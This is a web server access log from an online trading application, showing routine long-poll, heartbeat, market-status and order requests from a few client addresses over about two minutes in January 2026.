[09/Jan/2026:09:02:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:02:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:02:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920804333 HTTP/1.1" -
[09/Jan/2026:09:02:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920806300 HTTP/1.1" -
[09/Jan/2026:09:02:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920809489 HTTP/1.1" -
[09/Jan/2026:09:02:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:09:02:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:09:02:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920814649 HTTP/1.1" -
[09/Jan/2026:09:02:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920812300 HTTP/1.1" -
[09/Jan/2026:09:02:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920819698 HTTP/1.1" -
[09/Jan/2026:09:02:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:02:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1210
[09/Jan/2026:09:02:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:02:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920818303 HTTP/1.1" -
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=A2986AF0421D3F729B6F0E3E23FCFBED HTTP/1.1" 1019
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:02:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:02:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:02:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1268
[09/Jan/2026:09:02:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920824827 HTTP/1.1" -
[09/Jan/2026:09:02:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920824318 HTTP/1.1" -
[09/Jan/2026:09:02:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920829863 HTTP/1.1" -
[09/Jan/2026:09:02:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920830303 HTTP/1.1" -
[09/Jan/2026:09:02:41 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:09:02:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920834999 HTTP/1.1" -
[09/Jan/2026:09:02:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920836307 HTTP/1.1" -
[09/Jan/2026:09:02:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920840214 HTTP/1.1" -
[09/Jan/2026:09:02:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920842301 HTTP/1.1" -
[09/Jan/2026:09:02:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920845367 HTTP/1.1" -
[09/Jan/2026:09:02:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920850483 HTTP/1.1" -
[09/Jan/2026:09:02:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920848308 HTTP/1.1" -
[09/Jan/2026:09:03:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:03:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920855624 HTTP/1.1" -
[09/Jan/2026:09:03:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920854298 HTTP/1.1" -
[09/Jan/2026:09:03:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920860718 HTTP/1.1" -
[09/Jan/2026:09:03:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920860300 HTTP/1.1" -
[09/Jan/2026:09:03:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:03:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:03:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920865895 HTTP/1.1" -
[09/Jan/2026:09:03:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920866308 HTTP/1.1" -
[09/Jan/2026:09:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920871094 HTTP/1.1" -
[09/Jan/2026:09:03:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920872311 HTTP/1.1" -
[09/Jan/2026:09:03:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920876239 HTTP/1.1" -
[09/Jan/2026:09:03:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920878300 HTTP/1.1" -
[09/Jan/2026:09:03:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920881438 HTTP/1.1" -
[09/Jan/2026:09:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:03:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:03:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920886615 HTTP/1.1" -
[09/Jan/2026:09:03:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920884310 HTTP/1.1" -
[09/Jan/2026:09:03:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920891673 HTTP/1.1" -
[09/Jan/2026:09:03:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920890312 HTTP/1.1" -
[09/Jan/2026:09:03:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920896744 HTTP/1.1" -
[09/Jan/2026:09:03:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920896303 HTTP/1.1" -
[09/Jan/2026:09:03:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920901932 HTTP/1.1" -
[09/Jan/2026:09:03:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920902308 HTTP/1.1" -
[09/Jan/2026:09:03:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920907107 HTTP/1.1" -
[09/Jan/2026:09:03:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920908309 HTTP/1.1" -
[09/Jan/2026:09:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920912255 HTTP/1.1" -
[09/Jan/2026:09:04:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:04:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:04:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920914312 HTTP/1.1" -
[09/Jan/2026:09:04:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920917369 HTTP/1.1" -
[09/Jan/2026:09:04:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920922428 HTTP/1.1" -
[09/Jan/2026:09:04:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920920305 HTTP/1.1" -
[09/Jan/2026:09:04:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:04:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:04:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920927569 HTTP/1.1" -
[09/Jan/2026:09:04:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920926309 HTTP/1.1" -
[09/Jan/2026:09:04:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920932697 HTTP/1.1" -
[09/Jan/2026:09:04:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920932300 HTTP/1.1" -
[09/Jan/2026:09:04:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920937848 HTTP/1.1" -
[09/Jan/2026:09:04:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920938310 HTTP/1.1" -
[09/Jan/2026:09:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
